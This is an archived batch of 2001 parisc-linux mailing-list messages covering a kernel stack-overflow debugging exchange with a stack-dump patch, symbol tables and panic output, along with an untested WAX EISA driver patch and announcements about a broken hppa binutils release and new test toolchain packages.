102f8d1c B EISA_bus
102f8d20 B icache_stride
102f8d24 B saved_command_line
102f9124 B dcache_stride
102f9128 B cpu_data
102f916c B hppa_dma_ops
102f9170 B pci_bios
102f9174 B cache_info
102f91ec B boot_cpu_data
102f928c B split_tlb
102f9290 B pci_port
102f92c0 B avenrun
102f92cc B bh_task_vec
102f954c B time_offset
102f9550 B total_forks
102f9580 B tasklet_vec
102f95c0 B max_threads
102f95c4 B prof_shift
102f95c8 B nr_threads
102f95cc B last_pid
102f95d0 B panic_notifier_list
102f95d4 B nr_queued_signals
102f95d8 B pps_freq
102f95dc B wall_jiffies
102f95e0 B console_cmdline
102f9660 B prof_len
102f9680 B irq_stat
102f96c0 B sys_tz
102f96c8 B panic_timeout
102f9700 B tasklet_hi_vec
102f9740 B log_size
102f9744 B pps_offset
102f9748 B pps_jitcnt
102f974c B console_drivers
102f9750 B time_adjust_step
102f9754 B pps_stbcnt
102f9758 B files_cachep
102f975c B time_adj
102f9760 B xtime
102f9768 B time_adjust
102f976c B time_reftime
102f9770 B event
102f9774 B pidhash
102fa774 B time_phase
102fa778 B nr_running
102fa77c B jiffies
102fa780 B mm_cachep
102fa784 B pps_errcnt
102fa788 B kstat
102fc3bc B vm_area_cachep
102fc3c0 B sigact_cachep
102fc3c4 B pps_calcnt
102fc3c8 B prof_buffer
102fc3cc B fs_cachep
102fc3d0 B hardpps_ptr
102fc3d4 B memory_pressure
102fc3d8 B page_cluster
102fc3dc B kswapd_task
102fc3e0 B max_low_pfn
102fc3e4 B vmlist
102fc3e8 B nr_swapfiles
102fc3ec B high_memory
102fc3f0 B swap_cache_find_total
102fc3f4 B swap_cache_find_success
102fc3f8 B page_hash_bits
102fc3fc B pgdat_list
102fc400 B page_hash_table
102fc404 B highmem_start_page
102fc408 B nr_active_pages
102fc40c B num_physpages
102fc410 B sysctl_overcommit_memory
102fc414 B min_low_pfn
102fc418 B nr_inactive_dirty_pages
102fc41c B swap_cache_del_total
102fc420 B swap_info
102fc5e0 B max_mapnr
102fc5e4 B nr_swap_pages
102fc5e8 B active_list
102fc5f0 B inactive_dirty_list
102fc5f8 B mem_map
102fc5fc B swap_cache_add_total
102fc600 B filp_cachep
102fc604 B nr_free_dquots
102fc608 B proc_root_driver
102fc60c B nlm_grace_period
102fc610 B proc_root_fs
102fc614 B bh_cachep
102fc618 B nr_super_blocks
102fc61c B proc_mnt
102fc620 B dquot_cachep
102fc624 B nr_dquots
102fc628 B inodes_stat
102fc644 B max_dquots
102fc648 B proc_net
102fc64c B names_cachep
102fc650 B nlmsvc_ops
102fc654 B proc_root_kcore
102fc658 B nlmsvc_grace_period
102fc65c B ROOT_DEV
102fc660 B gendisk_head
102fc664 B proc_sys_root
102fc668 B nsm_local_state
102fc66c B nlmsvc_timeout
102fc670 B proc_bus
102fc674 B initrd_below_start_ok
102fc678 B max_sectors
102fca74 B rd_doload
102fca78 B rd_image_start
102fca7c B initrd_start
102fca80 B initrd_end
102fca84 B hardsect_size
102fce80 B max_readahead
102fd27c B blk_dev
10305df0 B blksize_size
103061ec B blk_size
103065e8 B read_ahead
103069e4 B console_blanked
103069e8 B vt_cons
10306ae4 B conswitchp
10306ae8 B ldiscs
10306ee8 B default_font_height
10306eec B last_console
10306ef0 B fg_console
10306ef4 B video_scan_lines
10306ef8 B tty_drivers
10306efc B emergency_sync_scheduled
10306f00 B ptm_driver
10306fbc B kbd_pt_regs
10306fc0 B tty_std_termios
10306fe4 B sysrq_power_off
10306fe8 B lp_table
103070cc B shift_state
103070d0 B kbd_ledfunc
103070d4 B redirect
103070d8 B spawnpid
103070dc B pts_driver
10307198 B vt_dont_switch
1030719c B do_poke_blanked_console
103071a0 B spawnsig
103071a4 B kmsg_redirect
103071a8 B poll
103071bc B console_blank_hook
103071c0 B vc_cons
103072bc B console_driver
10307378 B curdev
1030737c B hil_last
10307384 B kbd_table
10307480 B con_buf
10308480 B video_font_height
10308484 B sel_cons
10308488 B tulip_rx_copybreak
1030848c B tulip_max_interrupt_work
10308490 B last_cmnd
10308494 B scsi_CDs
10308498 B scsi_devfs_handle
1030849c B scsi_pid
103084a0 B scsi_logging_level
103084a4 B sd
103084a8 B proc_scsi
103084ac B cdrom_sysctl_settings
103088a8 B pci_pci_problems
103088ac B isa_dma_bridge_buggy
103088b0 B md_size
10308cb0 B md_hd_struct
103098b0 B mddev_map
1030a0b0 B raid1_retry_tail
1030a0b4 B wax_eisa_hba
1030a120 B hil_irq
1030a124 B hil_base
1030a128 B base_addr
1030a140 B rpc_autherr_tooweak
1030a144 B rpc_autherr_rejectedcred
1030a148 B xdr_one
1030a14c B inet_dev_count
1030a150 B tcp_openreq_cachep
1030a154 B tcp_bucket_cachep
1030a158 B inet_protos
1030a1d8 B main_table
1030a1dc B rpc_autherr_rejectedverf
1030a1e0 B rpc_prog_mismatch
1030a1e4 B ipv4_config
1030a200 B netdev_rx_stat
1030a240 B nfsd_debug
1030a244 B tcp_sockets_allocated
1030a248 B udp_port_rover
1030a280 B icmp_statistics
1030a380 B tcp_memory_pressure
1030a3c0 B ip_statistics
1030a4c0 B softnet_data
1030a500 B xdr_zero
1030a504 B inet_ifa_count
1030a508 B tcp_memory_allocated
1030a50c B rpc_auth_ok
1030a510 B icmp_inode
1030a6e8 B fib_info_cnt
1030a6ec B nlm_debug
1030a6f0 B rpc_system_err
1030a6f4 B rpc_autherr_badcred
1030a6f8 B rpc_proc_unavail
1030a6fc B xdr_two
1030a700 B sysctl_tcp_orphan_retries
1030a704 B raw_v4_htable
1030a784 B rpc_debug
1030a788 B local_table
1030a7c0 B net_statistics
1030a9c0 B rpc_autherr_badverf
1030a9c4 B ip_rt_max_size
1030a9c8 B rpc_prog_unavail
1030a9cc B rpc_success
1030aa00 B tcp_statistics
1030aa80 B ip_ra_chain
1030aa84 B rpc_garbage_args
1030aac0 B udp_statistics
1030ab40 B udp_hash
1030ad40 B sysctl_tcp_mem
1030ad4c B sysctl_ip_nonlocal_bind
1030ad50 B inet_peer_unused_head
1030ad54 B unix_socket_table
1030b158 B nfs_debug
1030b15c B tcp_timewait_cachep
1030b160 B errno
1030b164 B ___strtok
1031d7d8 A _end

--rwEMma7ioTxnRzrJ--




From - Thu Nov 08 21:17:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: re: [parisc-linux] kernel panic
Date: Tue, 22 May 2001 02:10:00 -0600 (MDT)
Lines: 79
Approved: news@gmane.org
Message-ID: <200105220810.CAA25730@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620131 19470 80.91.229.3 (22 Nov 2014 01:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbrad@beavis.ybsoft.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 22 02:10:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 696FB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 May 2001 02:10:08 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 7CE57F4D; Tue, 22 May 2001 04:10:00 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id CAA25730;
	Tue, 22 May 2001 02:10:00 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11089

Ryan (and others who are interested),

>From the information you provided, I was able to determine that you
are overflowing the kernel stack.  The various crashes you are
seeing in signal code is simply a side effect of the kernel stack
overflow, and really has nothing to do with whatever the real bug
is.

Every task gets a 16k aligned chunk of memory which contains the
task structure and the kernel stack. The task structure is at the
beginning of this chunk of memory, and the stack starts immediately
after that. This allows us to determine the pointer to the task
structure by simply 16K aligning the stack pointer. However, when
we cross into the next 16K chunk of memory, this no longer works.
In this case, a timer interrupt came in while the stack was over
the 16K boundary, it did some time processing, which includes
charging the current "tick" to the current running process, and
since it uses a bad task pointer at that point, things go wrong.
It appears that most of the time you fail in the same manner.

However, the above information doesn't help much. The only helpful
information I can provide at this point is that the code was in
scsi_dispatch_cmd when the timer interrupt came in.

Now, why does the printk cause problems?  This is only a theory, but most
likely the printk simply slows things down enough to increase the
probability that you will get caught while the stack pointer has crossed
into the next 16K chunk of memory.  Note that even most interrupts are not
going to care about the fact that you have crossed the boundary, because
most interrupts should not care about what the current running process is.
So, in a sense, you have been lucky to catch this, because otherwise the
only side effect of crossing the 16K boundary would be trashing of memory,
which is usually a lot tougher to debug.

Note that we increased the kernel stack/task structure allocation from
8K to 16K because earlier in development we thought that we were getting
close to an overflow, and decided to go with 16K during development
to ensure that it wouldn't happen. Once things are a little more stable
we can probably go back to 8K after doing specific testing for possible
kernel stack overflows. The reason I bring this up is that most likely
8K is enough, and 16K is definitely more than enough. So, if you
are overflowing the stack, it is almost certainly a bug, and not a
"legitimate" overflow. A bug of this nature is usually caused by some
type of unintended recursion, either a bounded but too large recursion,
or an infinite recursion.

So, I don't know if this will give you enough information to easily
find the bug, possibly by code inspection. I haven't inspected the
code at all to see if there is anything obvious. If nothing turns
up very quickly, don't waste a lot of time on it. Make the following
change to arch/parisc/kernel/traps.c, in show_stack():

            /* Stack Dump! */
 
            stackptr = (unsigned int *)sp;
-           dumpptr  = (unsigned int *)(sp & ~(INIT_TASK_SIZE - 1));
+           dumpptr  = (unsigned int *)((sp & ~(INIT_TASK_SIZE - 1))-0x4000);
            printk("\nDumping Stack from %p to %p:\n",dumpptr,stackptr);
            while (dumpptr < stackptr) {
                printk("%04lx %08x %08x %08x %08x %08x %08x %08x %08x\n",

Then reproduce the problem as before.  This should cause the stack dump
procedure to dump the preceding 16K block also.  If you send me the same
stuff as before, i.e. the stack dump (which should be quite large),
register dump, and kernel symbols, I should be able to determine the
recursion sequence.

John

P.S.  For those reading this, I should make it clear that stack dumps are
completely worthless without either the associated kernel or at least the
kernel symbol table.  So, if you find a bug which produces a stack dump,
and you want to report it, make sure you either make the kernel that
produced it available (please don't include kernels in email to this
list!), or at least provide a listing of the kernel symbols and addresses,
like Ryan did.




From - Thu Nov 08 21:17:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] WAX EISA driver
Date: Tue, 22 May 2001 16:40:52 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <01052216405201.31667@eeyore>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620132 19471 80.91.229.3 (22 Nov 2014 01:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 22 16:41:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53830482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 May 2001 16:41:23 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 21CD0B33
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 May 2001 18:41:22 -0400 (EDT)
Original-Received: from eeyore (helgaas@eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id QAA03460
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 May 2001 16:41:21 -0600 (MDT)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11090

No, I'm not signing up to make WAX work, and I really don't know any 
details about it; I just noticed what appear to be some obvious bugs while 
making some PCI changes.

Attached is a completely untested patch that makes it *look* more like the 
dino and lba code.  I do not plan to check this in, because I don't have 
the time or knowledge to test it.  If you do, feel free :-)

Bjorn


Index: drivers/gsc/wax_eisa.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/wax_eisa.c,v
retrieving revision 1.3
diff -u -p -r1.3 wax_eisa.c
--- wax_eisa.c	2001/05/01 13:32:09	1.3
+++ wax_eisa.c	2001/05/22 22:04:58
@@ -41,7 +41,7 @@ static struct pa_iodc_driver wax_eisa_dr
 };
 
 #define WAX_EISA_OUT(type, size) \
-static void wax_out##type (u##size d, int addr) \
+static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) 
\
 { \
 	u32 out_addr; \
 	if (((addr >= 0x00080000) && (addr < 0x00100000)) || \
@@ -59,7 +59,7 @@ WAX_EISA_OUT(w,16)
 WAX_EISA_OUT(l,32)
 
 #define WAX_EISA_IN(type, size) \
-static u##size wax_in##type (int addr) \
+static u##size wax_in##type (struct pci_hba_data *hba, u16 addr) \
 { \
 	u32 out_addr; \
 	if (((addr >= 0x00080000) && (addr < 0x00100000)) || \
@@ -68,7 +68,7 @@ static u##size wax_in##type (int addr) \
 			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
 		return gsc_read##type(out_addr); \
 	} else { \
-		printk("WAX EISA Ack, cannot read from 0x%x\n",addr); \
+		printk("WAX EISA: Ack, cannot read from 0x%x\n",addr); \
 		return -1; \
 	} \
 }
@@ -123,7 +123,8 @@ wax_eisa_driver_init(struct hp_device *d
 	version = gsc_readw(d->hpa+0x7000);
 	printk(KERN_INFO "Wax EISA bus adapter version 0x%x at 
0x%p\n",version,d->hpa);
 
-	pcibios_register_hba((struct pci_hba_data *) &wax_port_ops);
+	pcibios_register_hba(HBA_DATA(&wax_eisa_hba));
+	pci_port = &wax_port_ops;
 
 #if 0
 	/* Turn off lock control */




From - Thu Nov 08 21:17:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Major hppa binutils problem
Date: Tue, 22 May 2001 18:07:59 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20010523000759.C759937DCE@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620132 19474 80.91.229.3 (22 Nov 2014 01:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 22 18:05:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E3A1482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 May 2001 18:05:19 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 2061C8E4; Tue, 22 May 2001 20:05:18 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id C759937DCE; Tue, 22 May 2001 18:07:59 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11091

As was reported here before binutils versions 2.11.90.0.7 and 2.11.90.0.8 have 
a bug on hppa that causes binutils to generates broken executables. The bug is 
also viral in nature in that if you build with shared libraries built with the 
broken binutils, even if the broken binutils is not installed, the resulting 
executables will still be broken.

Unforturately the Debian autobuilder built and uploaded binutils 2.11.90.0.7-1 
so you may have "infected" your system if you did an apt-get upgrade. Also 
several Debian developers had done so and then uploaded packages built with 
the bad binutils.

Right now we are recommending that people revert to 2.11.90.0.1 available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/
newcompilers-20010326/binutils_2.11.90.0.1-1_hppa.deb

Paul Bame has written a script you can run to check and see if your system has 
any bad debs installed. Its available at,

ftp://puffin.external.hp.com/pub/parisc/tools/plt-checker

Lamont Jones is working on scanning all the hppa packages in the Debian 
archive to come up with a list of what packages are broken. Once he has the 
list we will work on getting them all rebuilt cleanly and uploaded.

Until they have all been rebuilt/uploaded, DO NOT APT-GET UPGRADE, you will 
infect your system. When everything is done and we've confirmed that the 
archive is clean, someone will announce it's ok to proceed.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New hppa toolchain debs for testing
Date: Tue, 22 May 2001 18:10:50 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20010523001050.DB0DF37DCE@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620132 19485 80.91.229.3 (22 Nov 2014 01:35:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 22 18:08:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 370A2482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 May 2001 18:08:06 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id A75C9C6A; Tue, 22 May 2001 20:08:05 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id DB0DF37DCE; Tue, 22 May 2001 18:10:50 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11092

Hi pa/linux addicts,

I have built new native toolchain debs. They are,

binutils - based on 2.11.90.0.8 upstream with Alan Modra's patch,
    http://sources.redhat.com/ml/binutils/2001-05/msg00284.html

gcc-3.0 - based on 3.0-0pre010427 debian package with a new hppa patch

glibc - based on 2.2.3-2 debian package with a new hppa patch

This is a big step forward from the glibc 2.2.1 and gcc 3.0-0pre010223 
packages that we have been using. Because these are so new and we need things 
to be stable for the release at the end of the month, these packages are 
currently FOR TESTING ONLY. Please give them a try but do not 
distribute/upload any packages built with them. If we determine that they are 
equal to or better than the older toolchain then we may upload them to the 
Debian archive and then people can distribute/upload.

The packages are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010521/

Report any problems to the list.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Tue, 22 May 2001 20:18:51 -0600
Lines: 23501
Approved: news@gmane.org
Message-ID: <20010522201851.A28340@beavis.ybsoft.com>
References: <200105220810.CAA25730@udlkern.fc.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="UlVJffcvxoiEqYs2"
X-Trace: ger.gmane.org 1416620133 19488 80.91.229.3 (22 Nov 2014 01:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 22 20:19:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A17F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 May 2001 20:18:57 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 93A84BCE5; Tue, 22 May 2001 20:18:51 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <200105220810.CAA25730@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Tue, May 22, 2001 at 02:10:00AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11093

--UlVJffcvxoiEqYs2
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

John,

Thanks for the great explaination!

>             /* Stack Dump! */
>  
>             stackptr = (unsigned int *)sp;
> -           dumpptr  = (unsigned int *)(sp & ~(INIT_TASK_SIZE - 1));
> +           dumpptr  = (unsigned int *)((sp & ~(INIT_TASK_SIZE - 1))-0x4000);
>             printk("\nDumping Stack from %p to %p:\n",dumpptr,stackptr);
>             while (dumpptr < stackptr) {
>                 printk("%04lx %08x %08x %08x %08x %08x %08x %08x %08x\n",
> 
> Then reproduce the problem as before.  This should cause the stack dump
> procedure to dump the preceding 16K block also.  If you send me the same
> stuff as before, i.e. the stack dump (which should be quite large),
> register dump, and kernel symbols, I should be able to determine the
> recursion sequence.

I have attached the panic output and the symbol table again.

Thanks for the help!

- Ryan

-- 

--UlVJffcvxoiEqYs2
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ccio.stacktrace.jsm.1"

vega:~# mke2fs /dev/sdb3
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
505920 inodes, 1011165 blocks
50558 blocks (5.00%) reserved for the super user
First data block=0
31 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks: 
	32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables: done                            
Writing superblocks and filesystem accounting ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
information: ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 56 entries
ccio_map_sg() DONE 56 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings

Dumping Stack from 3f2a2000 to 3f2a7d80:
2000 f7090000 0000001f e81f1f7d 00000000 00000011 00000040 10252004 10252028
2020 00dfdfdf 00000000 00dfdfdf 1011113c 00dfdfdf 00000000 00dfdfdf 00000000
2040 3f2a1780 00058260 00027630 001e8480 3f2a1780 1029a810 100e3cc0 10fe9800
2060 10252000 00000001 00000040 101064f8 00000000 100eeb00 00dfdfdf 00000000
2080 3f2a1780 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0c00
20a0 100ef3c0 0000000f 00dfdfdf 10118518 00dfdfdf 00000000 00dfdfdf 00000000
20c0 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
20e0 00000001 102e3622 00000004 10102f68 0000001e 102e3622 00dfdfdf 00000000
2100 20000000 00000002 00000001 00000022 00dfdfdf 00000000 00dfdfdf 00000000
2120 00dfdfdf 00000000 00dfdfdf 10102e58 00dfdfdf 00000000 00dfdfdf 00000000
2140 3f2a1e40 00000022 10276090 00000000 00dfdfdf 00000000 00dfdfdf 00000000
2160 00dfdfdf 00000000 00dfdfdf 101f2f28 00dfdfdf 00000000 00dfdfdf 00000000
2180 102f9010 3f2a1e40 10fe8080 00000000 00000020 00000000 10273904 3f2a2149
21a0 00000001 0000ffff 3f2a1780 10102e58 0000000e 001e8480 3f2a1780 1029a810
21c0 102f9010 3f2a1e40 00000063 10fe9448 00000001 0000ffff 3f2a1e40 00058260
21e0 00027630 001e8480 3f2a1e40 101c4c24 10276360 00000002 10276384 00000001
2200 00000002 10276384 00000001 1029a908 3fbf0e00 0000000e 00000000 4001b336
2220 00dfdfdf 4001b342 00dfdfdf 4001b34e 00dfdfdf 4001b35a 00dfdfdf 4001b31e
2240 00dfdfdf 4001b31e 00dfdfdf 4001b31e 00dfdfdf 4001b31e 00dfdfdf 4001b31e
2260 00dfdfdf 4001b31e 00dfdfdf 101b3b48 00dfdfdf 4001b31e 00dfdfdf 4001b31e
2280 3fbf0e00 1029a908 3f2a1e40 0000000e 100e6000 00000060 100f3940 102f9010
22a0 3f2a1e40 00000060 100f3940 101d24a8 00dfdfdf 4001b31e 00dfdfdf 4001b31e
22c0 a0000000 10276360 10fe8380 100ef3c0 00000000 00000000 00000bb6 00000000
22e0 3fbf0e00 4001b31e 00dfdfdf 101bba60 00dfdfdf 00000000 00dfdfdf 00000000
2300 00000008 10262000 00000001 00000001 00000044 00099000 00dfdfdf 00000000
2320 00dfdfdf 00000000 00dfdfdf 101b4dfc 00dfdfdf 00000000 00dfdfdf 00000000
2340 00000080 00000000 100ee000 00000040 00000001 3fbf0e00 00dfdfdf 00000000
2360 00dfdfdf 00000000 00dfdfdf 101bb194 00dfdfdf 00000000 00dfdfdf 00000000
2380 3fbf0e00 100e3000 3fbf0e00 00000000 00dfdfdf 00000000 00dfdfdf 00000000
23a0 00dfdfdf 00000000 00dfdfdf 101b4c2c 00dfdfdf 00000000 00dfdfdf 00000000
23c0 00000001 00000001 3fbf0e00 00000000 3fbf0eac 10fe8380 00dfdfdf 00000000
23e0 00dfdfdf 00000000 00dfdfdf 101af994 00dfdfdf 00000000 00dfdfdf 00000000
2400 10fe8380 00000001 00058260 00027630 001e8480 3f2a1e40 00000001 00000080
2420 10fe8398 00000001 00000001 101b4988 0000000f 10fe8380 00dfdfdf 00000000
2440 00000080 10fe8398 0000000f 00000001 3fbf0e00 10fe8398 3fbf0eac 10fe8380
2460 00dfdfdf 00000000 00dfdfdf 10110ad0 00dfdfdf 00000000 00dfdfdf 00000000
